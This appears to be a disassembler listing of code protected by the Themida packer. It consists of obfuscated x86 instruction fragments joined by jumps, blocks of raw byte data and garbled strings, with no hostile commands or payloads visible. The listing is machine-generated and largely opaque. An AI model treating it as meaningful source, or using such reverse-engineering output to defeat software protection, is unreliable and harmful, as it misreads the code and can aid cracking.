		dd 0C2816000h, 47ED72A3h, 537BD55h, 0EA31C258h,	5AD0295Dh
		dd 4C7DE9h, 6CBE5600h, 217D135Fh, 0A0D9E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2D2:				; CODE XREF: Themida_:0055BFCAj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_552D59
; ---------------------------------------------------------------------------


loc_55B2E0:				; CODE XREF: Themida_:00557704j
		movsx	cx, al
		jmp	loc_560D11
; ---------------------------------------------------------------------------
aIuqCMsai	db '┴ЦQ╧C*╤mИ─⌡',0
		align 2


loc_55B2F6:				; CODE XREF: Themida_:0055B950j
		push	small 579Fh
		jmp	loc_55190F
; ---------------------------------------------------------------------------
		db 81h
		dd 0DEB391EBh, 5BD8014Bh, 5F2DD829h, 2D049851h,	29254C2Dh
		dd 4D68B905h, 6D18682Ch, 14890000h, 0DFB85024h,	0E928C56Dh
		dd 4087h, 89243489h, 4BD55E6h, 1000000h, 0B0E95DEEh, 51FFFFF8h
		dd 5E7668h, 242C8900h, 79DEE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B34E:				; CODE XREF: Themida_:005553A6j
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_55F01D
; ---------------------------------------------------------------------------
		dd 2104C483h, 16AFE9F8h, 0EEB50000h, 0E959CD80h, 852Dh
		dd 0EB81C301h, 756414D8h, 67CEE9h, 5A535E00h, 4EAC15Bh
		dd 0C108EAC1h, 535004E2h, 8A1B90BBh, 66DDE9EAh
		db 2 dup(0FFh)
word_55B396	dw 8B66h		; DATA XREF: Themida_:00550950o
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], eax
		push	40F609AEh
		pop	eax
		jmp	loc_557428
; ---------------------------------------------------------------------------
		dw 47B2h
		dd 0DAF6EAD0h, 156BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B3C5:				; CODE XREF: Themida_:00557F79j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553001
; ---------------------------------------------------------------------------
		dd 0A269CF2Dh, 241C8B13h, 0E904C483h, 0FFFFFEE1h, 3B19D3B8h
		dd 8BC72901h, 49E92404h, 53000053h, 2434FF54h, 0E389535Bh
		dd 4C381h, 0C3830000h, 241C8704h, 4C3815Ch, 52000000h
		dd 6153E954h
		db 2 dup(0FFh)
word_55B416	dw 77FFh		; DATA XREF: Themida_:00550960o
		dd 58669D1Ch, 24041966h, 5589E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B426:				; CODE XREF: Themida_:0055A5DFj
		pop	eax
		mov	edi, [esp]
		jmp	loc_563248
; ---------------------------------------------------------------------------
		db 1
		dd 343359CEh, 24343124h, 8B243433h, 53502424h, 0FC8875B7h
		dd 0DDEC805Bh, 0E96CC480h, 310Ch
; ---------------------------------------------------------------------------


loc_55B450:				; CODE XREF: Themida_:00562C62j
		mov	edx, 2795021Eh
		jmp	loc_554F58
; ---------------------------------------------------------------------------


loc_55B45A:				; CODE XREF: Themida_:0055F422j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_565430
; ---------------------------------------------------------------------------


loc_55B469:				; CODE XREF: Themida_:00552042j
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 50974E5Ah
		jmp	loc_555827
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0DAD3E9D3h
		db 2 dup(0FFh)
word_55B47E	dw 0F766h		; DATA XREF: Themida_:005508DCo
		dd 0E99C241Ch, 0FFFFAB09h, 4CE9F186h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B48F:				; CODE XREF: Themida_:005596A3j
		mov	dh, 76h
		xor	dh, ch
		pop	ecx
		xor	dh, 3Fh
		push	eax
		mov	ah, 0AFh
		neg	ah
		shr	ah, 4
		not	ah
		add	ah, 0FFh
		not	ah
		xor	ah, 11h
		add	dh, ah
		jmp	loc_55CE7A
; ---------------------------------------------------------------------------


loc_55B4B0:				; CODE XREF: Themida_:00551A23j
		not	eax
		push	esi
		mov	esi, 8A8EAA4Fh
		jmp	loc_55A8C6
; ---------------------------------------------------------------------------


loc_55B4BD:				; CODE XREF: Themida_:00561C6Aj
		push	eax
		push	0FFFFFFFFh
		pop	eax
		sub	edi, eax
		pop	eax
		jmp	loc_562BED
; ---------------------------------------------------------------------------
aUsdr		db 'UИDr',0
		align 2


loc_55B4D2:				; CODE XREF: Themida_:00565A8Aj
		xchg	ecx, [esp]
		jmp	loc_55800A
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 0FF5204C4h, 5A042474h, 0E924048Fh, 3B62h
; ---------------------------------------------------------------------------


loc_55B4EC:				; CODE XREF: Themida_:00556F1Dj
		push	ebx
		jmp	loc_55B922
; ---------------------------------------------------------------------------


loc_55B4F2:				; CODE XREF: Themida_:00563C53j
		mov	ebp, [esp]
		push	5EDCh
		mov	[esp], ecx
		push	4213h
		jmp	loc_556283
; ---------------------------------------------------------------------------
		db 1
		dd 0FF515AD1h, 59042474h, 8B24048Fh, 0F662424h,	6866C8B6h
		dd 89664C3Ah, 88E9240Ch, 0BAFFFF54h, 0B00D9A3h,	895AD731h
		dd 243C8BF8h, 0E904C483h, 0DC9h, 5A53B850h, 0F7407BB3h
		dd 0FFFF05D0h, 5655FFFFh, 0A1BB62BEh, 0E9F589C8h, 14D7h
; ---------------------------------------------------------------------------


loc_55B558:				; CODE XREF: Themida_:0056540Dj
		add	esi, 0C6A009AAh
		add	ebp, esi
		jmp	loc_557295
; ---------------------------------------------------------------------------


loc_55B565:				; CODE XREF: Themida_:00564E13j
		sub	ecx, 7D161363h
		sub	ecx, edx
		add	ecx, 7D161363h
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, ecx
		jmp	loc_553585
; ---------------------------------------------------------------------------
		db 53h
		dd 35DBBF57h, 0CF81049Ch, 153745BAh, 0F781D7F7h, 8E95156h
		dd 81D7F747h, 0FC1B87C7h, 5FFB892Fh, 62CB814Bh,	0E91F6309h
		dd 0FFFF7AC3h, 4EC815Ch, 89000000h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_553246
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 4DFC13A7h, 4C38143h,	15F0F88h, 0E9015BD9h, 26E1E981h
		dd 0E95D237Fh, 0FFFFD0F2h, 8001E980h, 0D9F613F1h, 13B45066h
		dd 5866E128h, 0AAF180h,	0CB005BF9h, 0FFF42CE9h,	306E68FFh
		dd 0C890000h, 0C2885224h, 885AD188h, 0CBADE90Bh, 2F05FFFFh
		dd 0E912C228h, 6B5Eh, 0E9240C87h, 4385h, 8B04C483h, 71E9241Ch
		dd 83FFFF7Eh, 0C48304C4h, 0E87EE904h, 814FFFFFh, 98AD3BEFh
		dd 5FFB895Eh, 170FC405h, 2DD8295Bh, 5B170FC4h, 9CE9555Bh
		dd 0B8FFFFF7h, 303F4CE9h, 0C0B31B05h, 0F5EB81CFh, 29508C26h
		dd 0F5C381C3h, 58508C26h, 8B241C87h, 0C892424h,	4EC8124h
		dd 54000000h, 8324048Fh, 59042404h, 4C181h, 0BF570000h
		dd 2, 1200C181h, 0F9013698h, 1200E981h,	0D0E93698h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B6B3:				; CODE XREF: Themida_:00554A35j
		pop	edi
		jmp	loc_5522B0
; ---------------------------------------------------------------------------
aRs5		db 'RИ5=',0
		db 0
; ---------------------------------------------------------------------------


loc_55B6BF:				; CODE XREF: Themida_:005648B3j
		mov	esi, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	esi
		jmp	loc_5633A8
; ---------------------------------------------------------------------------
aVs_0		db 'VИч\',0
		align 4
		dd 94F6815Fh, 81272862h, 9E6916F6h, 0CAF1E90Eh,	0EB80FFFFh
		dd 148B6655h, 2C48324h,	3FA068h, 240C8900h, 7668C588h
		dd 89000044h, 0DFE9241Ch, 0C100005Ch, 54002E0h,	7D97451Ah
		dd 2AE9C629h, 68FFFFD5h, 260Bh,	81240489h, 4ECh, 48F5400h
		dd 24048124h, 4, 1BDAE958h
		db 2 dup(0)
word_55B73E	dw 8B66h		; DATA XREF: Themida_:005508F0o
		dd 0E468240Ch, 8900007Ah, 0F7682404h, 8900006Dh, 0BA522424h
		dd 4, 4245401h,	24048B5Ah, 4C481h, 55510000h, 4BDh, 5DE98900h
		dd 63E9C801h, 0BD000038h, 7BFA29B5h, 4508EDC1h,	3A7ACD81h
		dd 0BB532489h, 5C082B70h, 7D1FE9h, 5C76B800h, 8E053482h
		dd 81CB7DA3h, 0FD67EDC2h, 5B1FE929h
		db 2 dup(0FFh)
word_55B7A6	dw 4A68h		; DATA XREF: Themida_:00550734o
		dd 8900006Ah, 0BD55241Ch, 630B6F37h, 0FF6B45E9h, 0F10158FFh
		dd 0FFF516E9h, 243487FFh, 2404895Ch, 6DE9C9B4h,	5700004Dh
		dd 243C8B54h, 5204C483h, 682CE9h, 24348B00h, 4C481h, 0CE90000h
		dd 89FFFF7Fh, 0E789243Ch, 7E07BE56h, 0E6D12E3Fh, 0FC0AEE81h
		dd 0F7015C7Eh, 8324348Bh, 53E904C4h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B80B:				; CODE XREF: Themida_:0055D495j
		mov	eax, 2B833B35h
		sub	eax, 0E933B714h
		sub	edi, eax
		pop	eax
		jmp	loc_556FA8
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 4
		dd 0FF000071h
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56512E
; ---------------------------------------------------------------------------
		db 50h
		dd 45240481h, 8B77E80Fh, 0C483243Ch, 4EC8104h, 89000000h
		dd 0BB53242Ch, 2FBD23FCh, 6AECF381h, 0F3815F14h, 6D2D077Bh
		dd 4CC3CB81h, 0E3C14B9Dh, 81D3F703h, 44D77FC3h,	1E7E945h
		dd 535E0000h, 54E9E389h, 0B200002Dh, 5EC28045h,	805AD330h
		dd 0D93011C3h, 0FD52E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B89A:				; CODE XREF: Themida_:0055DA1Bj
		neg	ebx
		add	ebx, 0A60D0060h
		sub	ebp, ebx
		jmp	loc_551BF7
; ---------------------------------------------------------------------------


loc_55B8A9:				; CODE XREF: Themida_:00564684j
		sub	ebp, edx
		pop	edx
		jmp	loc_558D33
; ---------------------------------------------------------------------------


loc_55B8B1:				; CODE XREF: Themida_:0055AFACj
		shr	ecx, 1
		and	ecx, 53D020A5h
		add	ecx, 0FDD0113Eh
		and	ecx, 5E7C5E74h
		neg	ecx
		shl	ecx, 7
		dec	ecx
		not	ecx
		add	ecx, 297B26FCh
		xor	ecx, 598340FEh
		sub	ebp, 0E36491Bh
		add	ebp, ecx
		jmp	loc_55F748
; ---------------------------------------------------------------------------


loc_55B8E6:				; CODE XREF: Themida_:00561BC9j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5575DF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BB5300h, 0E9000000h, 30A9h, 4C181h, 0BA520000h
		dd 18206956h, 6954F281h, 0D1011820h, 24E3E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B922:				; CODE XREF: Themida_:0055B4EDj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5547E5
; ---------------------------------------------------------------------------
		dd 2414F766h, 31665D66h, 0EAE9242Ch
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B93B:				; CODE XREF: Themida_:00562857j
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55D194
; ---------------------------------------------------------------------------


loc_55B94C:				; CODE XREF: Themida_:0055490Dj
		movzx	cx, ah
		jmp	loc_55B2F6
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0B86D8904h, 24540170h, 0E030E904h, 505EFFFFh, 4B8h
		dd 15EE8100h, 132E27Dh,	15C681C6h, 8B32E27Dh, 54502404h
		dd 40558h, 0C0830000h, 24048704h, 0C773E95Ch, 5E5EFFFFh
		dd 4C681h, 0B8500000h, 4, 1C68E9h, 240C8700h, 2434895Ch
		dd 0C681E689h, 4, 4C681h, 34870000h, 0EE815C24h, 33E82546h
		dd 0C681D629h, 33E82546h, 0FF7B94E9h
		db 0FFh
byte_55B9D1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550830o
		dd 0D359669Dh, 0E99C2414h, 0FFFF4FCFh, 3C76C581h, 0C5012ED8h
		dd 3C76ED81h, 0E9582ED8h, 0FFFFBF54h
; ---------------------------------------------------------------------------


loc_55B9F4:				; CODE XREF: Themida_:00562B99j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 4
		dd 0DC800405h, 25EA81FCh, 16E1F4Ch, 25C281C2h, 586E1F4Ch
		dd 8904EC83h, 4B82404h,	1000000h, 24048BC2h, 4C481h, 52680000h
		dd 89000031h, 8AE92414h, 0F7000094h, 5EC735D0h,	0D0F70618h
		dd 0F6003E35h, 35F2E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BA56:				; CODE XREF: Themida_:00556A22j
		pop	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_551EDA
; ---------------------------------------------------------------------------
		db 89h,	0DDh, 5Bh
		dd 18F6E581h, 53452BC9h, 0D138D7BBh, 5BDD0963h,	37B2F581h
		dd 66E91C31h, 52FFFF86h, 97668h, 241C8900h, 230CDCBBh
		dd 0CB685618h, 89000024h, 46E9241Ch, 89FFFFD8h,	73BE5BDAh
		dd 81D2BBB3h, 0E6330DC6h, 81D60146h, 0E6330DEEh, 0F1015A46h
		dd 240C335Eh, 33240C31h, 665C240Ch, 7068F1F7h, 8900004Eh
		dd 0E0892404h, 9DE956h,	52590000h, 0B51AD3BAh, 0B0F2811Ch
		dd 813C4047h, 27420DCAh, 8AC28150h, 13DD0B5h, 0EBC15AD3h
		dd 2F7E905h, 0C2010000h, 24148758h, 5324248Bh, 0E904EC83h
		dd 3CA0h, 8124148Bh, 4C4h, 2434FF00h, 0FF677BE9h, 8B5E52FFh
		dd 43E92414h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BB27:				; CODE XREF: Themida_:00563489j
		pop	eax
		jmp	loc_55243B
; ---------------------------------------------------------------------------
		db 0F6h, 0D8h, 0F6h
		dd 205404D8h, 0D1F658C1h, 4EC8352h, 0B4240489h,	97EC80CEh
		dd 0E97AC480h, 0FFFFBE18h, 17F30540h, 502D5A5Eh, 0D23EEC3h
		dd 357A26D8h, 84B5E952h, 0BA520000h, 305673Bh, 2D7DCA81h
		dd 82E9557Bh, 89FFFF62h, 16BF57E6h, 0C10FDB6Dh,	0C5E907E7h
		dd 5900006Eh, 663AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BB89:				; CODE XREF: Themida_:005639A4j
		push	edi
		push	esi
		mov	esi, 414C2E4Ah
		xor	esi, 6C8254E4h
		shl	esi, 1
		add	esi, 15FB1455h
		mov	edi, esi
		pop	esi
		xor	edi, 0DE420644h
		jmp	loc_5538B1
; ---------------------------------------------------------------------------
		dd 0D5F78058h, 0FE34F780h, 0D1F780CFh, 665BFD30h, 0DFAE950h
		dd 0D7010000h, 4B9515Ah, 29000000h, 240C8BCFh, 9BBCE9h
		dd 7545BD00h, 68450D2Ah, 0
		dd 5D242C29h, 2414F755h, 0EC81455Dh, 4,	0B8240489h, 1D781E29h
		dd 158C531h, 6D2D5DE8h,	0E972A657h, 18C7h
; ---------------------------------------------------------------------------


loc_55BC08:				; CODE XREF: Themida_:0055E961j
		mov	edx, 12C05051h
		mov	ebp, 1A4D0241h
		add	ebp, edx
		pop	edx
		shr	ebp, 6
		push	ebx
		push	4E09h
		mov	[esp], edi
		jmp	loc_55777D
; ---------------------------------------------------------------------------
aBXoHo		db '│е╠X╝<h╝;',0
		dd 24348900h, 709AD8BEh, 7CE3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC3E:				; CODE XREF: Themida_:00557165j
		add	ecx, 0D17CCF2h
		mov	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		jmp	loc_55C1B3
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 2Fh
		dd 8124271Fh, 0FD4F5DEEh, 5DB8507Ch, 815D2470h,	35C3DEEh
		dd 81C6017Eh, 35C3DC6h,	80E9587Eh, 83FFFFA0h, 875B04C4h
		dd 87D7F7FEh, 3BB850FEh, 0E913B052h, 0FFFF5416h
; ---------------------------------------------------------------------------


loc_55BCB0:				; CODE XREF: Themida_:0055E657j
		push	esp
		jmp	loc_557F8B
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0ECE95424h, 41FFFFD5h, 0FFB468E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BCC5:				; CODE XREF: Themida_:00563361j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55B00E
; ---------------------------------------------------------------------------


loc_55BCD1:				; CODE XREF: Themida_:0055A644j
		pop	ecx
		sub	ecx, 46B0C423h
		mov	esi, ecx
		pop	ecx
		jmp	loc_55DE83
; ---------------------------------------------------------------------------


loc_55BCE0:				; CODE XREF: Themida_:00556170j
		inc	ecx
		and	ecx, 10282440h
		add	ecx, 48EBA4EDh
		jmp	loc_5629D3
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 524248Bh, 422E5B20h
		dd 8904EC83h, 72E9241Ch
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD17:				; CODE XREF: Themida_:0055E61Bj
		mov	[esp], ebx
		mov	ebx, 2CFB6A92h
		sub	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_551CE4
; ---------------------------------------------------------------------------
		dd 89516C04h, 6FBE56E1h, 81108701h, 78FE95C6h, 7617E9EFh
		dd 0EA80FFFFh, 863BE911h, 1489FFFFh, 34FF5424h,	0C4815A24h
		dd 4, 4C281h, 53500000h, 616D4CBBh, 6CB4E915h, 248B0000h
		dd 2BA62D24h, 0D0014BB4h, 0B42BA605h, 0D8295A4Bh, 8079E9h
		dd 0F9492D00h, 0C6011B53h, 34335A58h, 24343124h, 8B243433h
		dd 1662424h, 0E99C2404h, 0FFFF4C13h
; ---------------------------------------------------------------------------


loc_55BD9C:				; CODE XREF: Themida_:005514C1j
		push	7962h
		jmp	loc_551A05
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 8124348Bh, 4C4h, 0EE10E900h,	0C8BFFFFh, 4C48324h, 8B1C4721h
		dd 0C4832404h, 4BE5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDCA:				; CODE XREF: Themida_:00559B04j
		mov	[esp], eax
		mov	eax, 74240CACh
		xor	[esp+4], eax
		jmp	loc_563A1E
; ---------------------------------------------------------------------------
		db 1
		dd 0BFED81F5h, 5E28B25Ch, 381968h, 242C8900h, 0FFA27EE9h
		dd 0F2C381FFh, 0E9FEEA9Ch, 0FFFFB502h, 2474FF55h, 48F5D04h
		dd 7F5FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE0A:				; CODE XREF: Themida_:00554F49j
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_555E57
; ---------------------------------------------------------------------------
		dd 89241489h, 4C281E2h,	57000000h, 3F5BFABFh, 0B7B8500Bh
		dd 0E92E387Ah, 0FFFFB84Fh
; ---------------------------------------------------------------------------


loc_55BE30:				; CODE XREF: Themida_:00552234j
		add	dword ptr [esp+4], 7A177F10h
		push	dword ptr [esp]
		pop	ebp
		push	eax
		jmp	loc_55C2D1
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 3E0C4973h, 2149F381h, 0EBD17DB6h, 6845E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BE55:				; CODE XREF: Themida_:00551FFCj
		push	ecx
		mov	ecx, 5C1C20AFh
		add	ecx, 5C29541Ch
		jmp	loc_560B0E
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 6C2CE1h, 2FB753F8h, 0EF80DFF6h, 0FECFFE9Dh, 80CFFEC7h
		dd 0F8005FF7h, 241C8B5Bh, 4C481h, 0F0280000h, 8B66C02Ch
		dd 0C4812414h, 2, 0B60FC330h, 48F66C0h,	4B09E987h, 0B3BBFFFFh
		dd 0F73CBD67h, 4E3C1DBh, 0BA52h, 0DA290000h, 0B1E9D389h
		dd 5FFFF8Dh, 4,	8704C083h, 505C2404h, 405E089h,	5000000h
		dd 4, 8B240487h, 0C3312424h, 4C80E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEE6:				; CODE XREF: Themida_:005620CAj
		mov	esi, 5D85003Bh
		inc	esi
		jmp	loc_55D72D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 91h
		dd 5346360Ah, 928D8BBh,	5BDA094Ah, 28EA8142h, 0E9945E2Ch
		dd 0FFFFCC13h
dword_55BF0C	dd 8B2434FFh, 0C481240Ch, 4, 3FFE68h, 24048900h, 24EB68h
					; DATA XREF: Themida_:0055080Co
		dd 24248900h, 0E904EC83h, 0C74h
; ---------------------------------------------------------------------------


loc_55BF30:				; CODE XREF: Themida_:005587B8j
		sub	dword ptr [esp], 2DF84167h
		pop	esi
		add	esi, 2DF84167h
		mov	ebx, [esp]
		push	557Ch
		mov	[esp], ebp
		jmp	loc_5567B1
; ---------------------------------------------------------------------------


loc_55BF4E:				; CODE XREF: Themida_:00552F07j
		pop	esp
		push	ebp
		push	edx
		mov	edx, 80000h
		push	ecx
		jmp	loc_565BAA
; ---------------------------------------------------------------------------
		dd 5604C483h, 5B6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF65:				; CODE XREF: Themida_:00550D10j
		jnz	loc_551F76
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56370B
; ---------------------------------------------------------------------------
		dw 6657h
		dd 0E90604BFh, 0FFFFBC0Fh
; ---------------------------------------------------------------------------


loc_55BF80:				; CODE XREF: Themida_:0055982Aj
		shl	ebp, 8
		sub	ebp, 58F6568Ah
		add	ebp, 64797F68h
		sub	ebp, 61E751FBh
		and	ebp, 106326Dh
		jmp	loc_555E21
; ---------------------------------------------------------------------------


loc_55BFA0:				; CODE XREF: Themida_:00556558j
		push	eax
		jmp	loc_562479
; ---------------------------------------------------------------------------


loc_55BFA6:				; CODE XREF: Themida_:0055C1A7j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55739C
; ---------------------------------------------------------------------------


loc_55BFC4:				; CODE XREF: Themida_:00551961j
		add	esp, 4
		jmp	loc_55B2D2
; ---------------------------------------------------------------------------


loc_55BFCF:				; CODE XREF: Themida_:00550E08j
		xor	edx, [esp]
		jmp	loc_561BE8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E5E9240Ch, 0D300001Fh, 0E99C240Ch, 0FFFF49C7h, 8B240C87h
		dd 0D9682424h, 8900005Bh, 74FF243Ch, 34FF0424h,	243C8B24h
		dd 2CD6E9h, 13EB8100h, 4304E609h, 5504E3C1h, 0FFEAE4E9h
		dd 0C48159FFh, 4, 10E268h, 24348900h, 0C6815E54h, 4, 0EEFAE957h
		dd 1C8BFFFFh, 7322E924h, 0C483FFFFh, 7EA7E904h,	0DFF70000h
		dd 0EF81E7D1h, 0F5472786h, 2D5FF809h, 48371C86h, 5EE9C101h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C05B:				; CODE XREF: Themida_:0055A057j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esi, 1
		jmp	loc_557AB9
; ---------------------------------------------------------------------------
aBFSJ		db '│ц',27h,'f" И\├',0
		db 0
; ---------------------------------------------------------------------------


loc_55C081:				; CODE XREF: Themida_:00564E09j
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		jmp	loc_55FA29
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4BD242Ch,	1000000h, 5068E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0B2:				; CODE XREF: Themida_:00560D24j
		push	esp
		jmp	loc_562F1A
; ---------------------------------------------------------------------------
		dd 8FE95954h, 0BFFFFF87h, 6FA6231Bh, 0E5CFC781h, 0F801E988h
		dd 1E8AE95Fh, 0A0BF0000h, 893F6530h, 2434FFFEh,	63E9525Fh
		dd 81FFFF7Bh, 4ECh, 243C8900h, 46852h, 525A0000h, 0FF6A11E9h
		dd 0ED814DFFh, 9F68E10Eh, 0FF5673E9h, 81D7F7FFh, 81EA0AC7h
		dd 0EAC7E9D7h, 0B850FFFFh, 35F153CDh, 0E958C289h, 0FFFF62F7h
dword_55C120	dd 0E92434FFh, 82A4h	; DATA XREF: Themida_:005508D0o
; ---------------------------------------------------------------------------


loc_55C128:				; CODE XREF: Themida_:005538F6j
		pop	dword ptr [ebx]
		jmp	loc_55CF69
; ---------------------------------------------------------------------------
		db 50h
		dd 1E924A68h, 24048B4Ch, 0FFE098E9h, 58C230FFh,	8098C280h
		dd 40E938CAh, 5C00002Bh, 0E9241489h, 0FFFF7352h
; ---------------------------------------------------------------------------


loc_55C154:				; CODE XREF: Themida_:00558B50j
		push	esp
		pop	ebx
		jmp	loc_5577C8
; ---------------------------------------------------------------------------


loc_55C15B:				; CODE XREF: Themida_:00560421j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_558375
; ---------------------------------------------------------------------------


loc_55C169:				; CODE XREF: Themida_:0055E207j
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_560876
; ---------------------------------------------------------------------------
		dd 0B9515558h, 4, 0FFA87EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C185:				; CODE XREF: Themida_:005538EEj
		push	1C56h
		mov	[esp], ecx
		push	421C7EC8h
		pop	ecx
		not	ecx
		jmp	loc_557E27
; ---------------------------------------------------------------------------


loc_55C19A:				; CODE XREF: Themida_:0055D904j
		pop	esi
		add	edi, 5D603D4Fh
		std
		push	0Ah
		jmp	loc_55BFA6
; ---------------------------------------------------------------------------
		dd 0D2E95A58h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1B3:				; CODE XREF: Themida_:0055BC70j
		pop	eax
		or	esi, 5E7A2F61h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	esi, ebx
		pop	ebx
		push	eax
		push	5BFh
		mov	[esp], edx
		jmp	loc_55AF6C
; ---------------------------------------------------------------------------


loc_55C1D1:				; CODE XREF: Themida_:005607C7j
		push	eax
		push	4
		pop	eax
		sub	edx, 608E3D18h
		add	edx, eax
		add	edx, 608E3D18h
		jmp	loc_55D5FC
; ---------------------------------------------------------------------------
		db 87h
		dd 0D7F7243Ch, 0E9243C87h, 0FFFFBAADh, 0E9242C89h, 0FFFFA4E3h
; ---------------------------------------------------------------------------


loc_55C200:				; CODE XREF: Themida_:00558DE5j
		mov	edx, ecx
		jmp	loc_556200
; ---------------------------------------------------------------------------


loc_55C207:				; CODE XREF: Themida_:0055A103j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		sub	dword ptr [esp], 27E018ABh
		pop	ebp
		jmp	loc_5620C9
; ---------------------------------------------------------------------------
		db 83h
		dd 896602ECh, 0B450240Ch, 0A6C6E905h, 0E957FFFFh, 0FFFF5F03h
; ---------------------------------------------------------------------------


loc_55C234:				; CODE XREF: Themida_:00550ED6j
		pop	eax
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 3B23515Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_552EC2
; ---------------------------------------------------------------------------


loc_55C24B:				; CODE XREF: Themida_:00560A55j
		push	2C43h
		mov	[esp], ebx
		mov	ebx, 411B1E90h
		jmp	loc_55A031
; ---------------------------------------------------------------------------


loc_55C25D:				; CODE XREF: Themida_:00551733j
		push	2F2Eh
		jmp	loc_550D2A
; ---------------------------------------------------------------------------


loc_55C267:				; CODE XREF: Themida_:005516DEj
		push	edx
		jmp	loc_5573BB
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 1D0h, 0C7085804h, 0C0DFF658h, 526603EFh
		dd 0D7287CB2h, 0D22C5A66h, 0F800192Ch, 0D2041904h, 83241C8Bh
		dd 0B65204C4h, 45CE80B2h, 8019C680h, 39E944C6h,	56000055h
